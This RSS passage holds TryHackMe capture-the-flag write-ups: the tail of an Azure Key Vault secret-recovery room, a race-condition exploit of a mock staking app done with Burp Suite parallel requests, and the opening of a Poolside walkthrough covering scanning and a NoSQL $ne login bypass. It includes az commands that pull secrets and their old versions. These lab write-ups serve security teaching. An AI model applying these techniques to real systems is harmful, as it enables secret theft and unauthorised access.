&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fga6l63pzlyzchs4grqfn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fga6l63pzlyzchs4grqfn.png" alt=" " width="800" height="31"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Value: THM{not_ur  &lt;/p&gt;

&lt;p&gt;Third Shard:&lt;/p&gt;

&lt;p&gt;az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-3 --query value -o tsv&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwtq2vs2xoa5l62deae65.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwtq2vs2xoa5l62deae65.png" alt=" " width="794" height="25"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Value: ur_c01ns!} &lt;br&gt;
Retrieving Historical Versions for the Second Shard:&lt;br&gt;
Because key-shard-2 indicated a rotation event, we list its previous versions to recover the older, sensitive value:&lt;/p&gt;

&lt;p&gt;az keyvault secret list-versions --vault-name ccabana-kv-f5scjagc --name key-shard-2 --query "[].{Id:id, Attributes:attributes.enabled}" --output table&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fm5ojp0oi7usgctvbm5pk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fm5ojp0oi7usgctvbm5pk.png" alt=" " width="800" height="51"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Querying the specific version ID (3d6492d2c6f74123bc754a9ded22b2a0) yields the missing middle segment:&lt;/p&gt;

&lt;p&gt;az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-2 --version 3d6492d2c6f74123bc754a9ded22b2a0 --query value -o tsv&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fip2fc8f5a250xvksmvbb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fip2fc8f5a250xvksmvbb.png" alt=" " width="800" height="30"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Value: k3ys_not&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;ConclusionBy chaining exposed SAS token permissions, unencrypted backup analysis, service principal harvesting, and key vault version control tracking, we successfully reconstructed all flag components.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;THM{................................&lt;/p&gt;

</description>
      <category>ai</category>
      <category>cybersecurity</category>
      <category>tutorial</category>
      <category>security</category>
    </item>
    <item>
      <title>Exploiting Race Conditions in Web Applications: A Write-up for the TryHackMe “Towel on the Sunbed” Room</title>
      <dc:creator> Mohammad ali</dc:creator>
      <pubDate>Mon, 03 Aug 2026 23:42:23 +0000</pubDate>
      <link>https://dev.to/mohammadali_30/exploiting-race-conditions-in-web-applications-a-write-up-for-the-tryhackme-towel-on-the-sunbed-h13</link>
      <guid>https://dev.to/mohammadali_30/exploiting-race-conditions-in-web-applications-a-write-up-for-the-tryhackme-towel-on-the-sunbed-h13</guid>
      <description>&lt;p&gt;Introduction&lt;br&gt;
Race conditions represent a critical class of logic vulnerabilities that occur when a software program handles multiple processes or requests concurrently without proper synchronization. In web application security, this frequently manifests as a “Time-of-Check to Time-of-Use” (TOCTOU) flaw, where an application checks a condition (such as user balance or reward eligibility) and updates it later, allowing attackers to execute an action multiple times before the state is fully synchronized.&lt;br&gt;
This write-up covers the walkthrough and exploitation methodology for the Towel on the Sunbed room on TryHackMe. The challenge centers around a mock cryptocurrency staking platform vulnerable to a race condition, enabling us to bypass rate-limiting and reward restrictions to capture the flag.&lt;/p&gt;

&lt;p&gt;Reconnaissance and Enumeration&lt;br&gt;
Upon deploying the lab environment, we are greeted by Ponzi Portfolio, a web application simulating a crypto asset tracking and staking interface.&lt;/p&gt;

&lt;p&gt;Authentication: The application allows users to register an account and log in. We created a test account (123456) to access the dashboard.&lt;br&gt;
Staking Rewards Feature: The dashboard features a “Staking Rewards” section that permits users to claim 50 PONZI tokens every 24 hours.&lt;br&gt;
The Objective: Below the staking section lies the Whale Vault, which requires accumulating 150 PONZI tokens to unlock an exclusive reward (the flag).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1dakys3ez05oc2rpunrd.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1dakys3ez05oc2rpunrd.webp" alt=" " width="799" height="350"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ff5dymdqvabzftf7id3vo.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ff5dymdqvabzftf7id3vo.webp" alt=" " width="800" height="349"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0ty5sry3dqxm5xqe5hoy.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0ty5sry3dqxm5xqe5hoy.webp" alt=" " width="799" height="350"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Since the application restricts claims to once every 24 hours, waiting naturally for enough tokens is unfeasible. However, the room’s description — “Ponzi set his towel down for one 24-hour reward claim. He came back to find the sunbed had been ‘claimed’ three times over while he wasn’t looking” — hints directly at a concurrent execution vulnerability.&lt;/p&gt;

&lt;p&gt;Vulnerability Analysis&lt;br&gt;
When clicking the Claim Reward button, the browser dispatches a POST request to the /claim endpoint.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fk5xwe0ar06h044g6bytr.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fk5xwe0ar06h044g6bytr.webp" alt=" " width="800" height="370"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fd4mldkor8vmmbw12i3fp.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fd4mldkor8vmmbw12i3fp.webp" alt=" " width="800" height="350"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnzal6pwb5atpiw1g8wyd.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnzal6pwb5atpiw1g8wyd.webp" alt=" " width="800" height="351"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Using Burp Suite, we intercepted this HTTP request. The request structure is lightweight:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fk7t3351a65odvuvfp7cr.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fk7t3351a65odvuvfp7cr.webp" alt=" " width="799" height="369"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fqi2x6uv9s43jjghr3sgh.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fqi2x6uv9s43jjghr3sgh.webp" alt=" " width="800" height="369"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8aw7tpqdbsffinimrbe1.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8aw7tpqdbsffinimrbe1.webp" alt=" " width="799" height="369"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fobschipzh67rexm53unv.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fobschipzh67rexm53unv.webp" alt=" " width="799" height="369"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fp2szw8kvvygowqqyoa70.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fp2szw8kvvygowqqyoa70.webp" alt=" " width="216" height="142"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdbhzkoj5zin5vfzynxw8.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdbhzkoj5zin5vfzynxw8.webp" alt=" " width="216" height="142"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fg421ddalq2ucb1basenv.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fg421ddalq2ucb1basenv.webp" alt=" " width="800" height="370"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8k19owm6rcheiqfa9arx.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8k19owm6rcheiqfa9arx.webp" alt=" " width="800" height="371"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;POST /claim HTTP/1.1&lt;br&gt;
Host: 10.65.186.53:3000&lt;br&gt;
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0&lt;br&gt;
Accept: &lt;em&gt;/&lt;/em&gt;&lt;br&gt;
Accept-Language: en-US,en;q=0.5&lt;br&gt;
Accept-Encoding: gzip, deflate, br&lt;br&gt;
Referer: &lt;a href="http://10.65.186.53:3000/dashboard" rel="noopener noreferrer"&gt;http://10.65.186.53:3000/dashboard&lt;/a&gt;&lt;br&gt;
Origin: &lt;a href="http://10.65.186.53:3000" rel="noopener noreferrer"&gt;http://10.65.186.53:3000&lt;/a&gt;&lt;br&gt;
Connection: keep-alive&lt;br&gt;
Cookie: connect.sid=...&lt;br&gt;
Content-Length: 0&lt;br&gt;
The underlying application logic likely checks if the user has claimed their reward within the current period. If false, it credits 50 points and updates the database. If multiple identical requests hit the server simultaneously before the database flag updates, all of them may pass the conditional check concurrently.&lt;/p&gt;

&lt;p&gt;Exploitation via Burp Suite Repeater&lt;br&gt;
To test and exploit this behavior, we leveraged Burp Suite’s advanced group-sending capabilities in the Repeater module:&lt;/p&gt;

&lt;p&gt;Sent the captured /claim POST request to Repeater.&lt;br&gt;
Duplicated the request tab multiple times (e.g., 30 parallel requests).&lt;br&gt;
Grouped these tabs together and configured the dispatch method to “Send group in parallel (last-byte sync)”. Last-byte sync ensures that Burp holds back the final bytes of each request and releases them simultaneously, maximizing concurrency at the server socket level.&lt;br&gt;
Upon executing the parallel group request, the server responded to multiple concurrent threads successfully, incrementing the balance past the standard single-claim restriction.&lt;/p&gt;

&lt;p&gt;Server Response Example:&lt;br&gt;
{ "message": "Staking reward claimed successfully", "reward": 50, "newBalance": 150, "tier": "Whale", "priceSnapshot": 4.20 }&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fltezbzecdi18r3a8d5v4.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fltezbzecdi18r3a8d5v4.webp" alt=" " width="799" height="369"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgc1k8ddrkj6zkv5qfqdt.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgc1k8ddrkj6zkv5qfqdt.webp" alt=" " width="799" height="369"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7n7th90hqkfqhff4zosm.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7n7th90hqkfqhff4zosm.webp" alt=" " width="800" height="363"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fw4v10rammwesvc8vc7d4.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fw4v10rammwesvc8vc7d4.webp" alt=" " width="799" height="353"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffk5ez9oxm74qfqwmt3eo.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffk5ez9oxm74qfqwmt3eo.webp" alt=" " width="800" height="324"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;With the balance successfully elevated to 1,550 PONZI, the account met the tier requirement for the Whale Vault.&lt;/p&gt;

&lt;p&gt;Capturing the Flag&lt;br&gt;
Navigating back to the application dashboard with the updated balance unlocked the vault interface, revealing the flag:&lt;/p&gt;

&lt;p&gt;THM{............................}&lt;/p&gt;

&lt;p&gt;Happy Hacker&lt;/p&gt;

</description>
      <category>ai</category>
      <category>cybersecurity</category>
      <category>tutorial</category>
      <category>security</category>
    </item>
    <item>
      <title>TryHackMe: Poolside Writeup</title>
      <dc:creator> Mohammad ali</dc:creator>
      <pubDate>Mon, 03 Aug 2026 23:38:51 +0000</pubDate>
      <link>https://dev.to/mohammadali_30/tryhackme-poolside-writeup-719</link>
      <guid>https://dev.to/mohammadali_30/tryhackme-poolside-writeup-719</guid>
      <description>&lt;p&gt;From NoSQL Injection &amp;amp; SSTI to Raw Disk Root Access via Debugfs&lt;/p&gt;

&lt;p&gt;Introduction&lt;br&gt;
Welcome to this detailed technical walkthrough for the Poolside room on TryHackMe. This machine presents an engaging web exploitation challenge that starts with an authentication bypass, moves into remote code execution, and culminates in an unconventional privilege escalation vector utilizing raw disk analysis via system utilities and Node.js debugging.&lt;/p&gt;

&lt;p&gt;Phase 1: Initial Reconnaissance &amp;amp; Scanning&lt;br&gt;
We begin our engagement by performing a port scan using Nmap to identify open ports and running services on the target machine:&lt;/p&gt;

&lt;p&gt;nmap -sV -sC 10.67.180.45&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fv1pbhrad5kdgvy50scxv.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fv1pbhrad5kdgvy50scxv.webp" alt=" " width="800" height="275"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Nmap Scan Results:&lt;/p&gt;

&lt;p&gt;Port 22/tcp (SSH): OpenSSH 9.6p1 Ubuntu.&lt;br&gt;
Port 80/tcp (HTTP): Node.js (Express middleware) hosting a web application titled “Byte Lotus — Poolside”.&lt;br&gt;
To discover hidden directories and endpoints on the web server, we run a directory brute-force enumeration using Gobuster&lt;/p&gt;

&lt;p&gt;gobuster dir -u &lt;a href="http://10.67.180.45" rel="noopener noreferrer"&gt;http://10.67.180.45&lt;/a&gt; -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F295wqmc5kxgr094q3grc.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F295wqmc5kxgr094q3grc.webp" alt=" " width="799" height="291"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The directory scan reveals key endpoints such as /staff (returning a 403 Forbidden status code requiring authentication) and /logout.&lt;/p&gt;

&lt;p&gt;Phase 2: NoSQL Authentication Bypass&lt;br&gt;
The login portal on port 80 prompts for a Staff/Guest ID and a Passphrase. By intercepting the login POST request using Burp Suite, we notice that the backend framework relies on Express.js, strongly suggesting a NoSQL (MongoDB) database backend. Standard SQL injection payloads fail, but NoSQL operators provide an elegant bypass. By leveraging MongoDB’s “not equal” operator ($ne), we can manipulate the query logic:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7fq9n5j9pn6493rbdvym.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7fq9n5j9pn6493rbdvym.webp" alt=" " width="800" height="354"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdgnmqs3e03d5pomdnldo.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdgnmqs3e03d5pomdnldo.webp" alt=" " width="800" height="340"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1vqqwyac8cbspvcxp9ml.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1vqqwyac8cbspvcxp9ml.webp" alt=" " width="800" height="314"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6a7u2r28n8o6kjlyzhiv.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6a7u2r28n8o6kjlyzhiv.webp" alt=" " width="800" height="342"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4z1dj27072eo4z09rcgs.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4z1dj27072eo4z09rcgs.webp" alt=" " width="800" height="370"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3pwmvci96ouos82u4buw.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3pwmvci96ouos82u4buw.webp" alt=" " width="799" height="372"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fi9c8hcjcp18drn2b04nq.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fi9c8hcjcp18drn2b04nq.webp" alt=" " width="800" height="370"&gt;&lt;/a&gt;&lt;/p&gt;

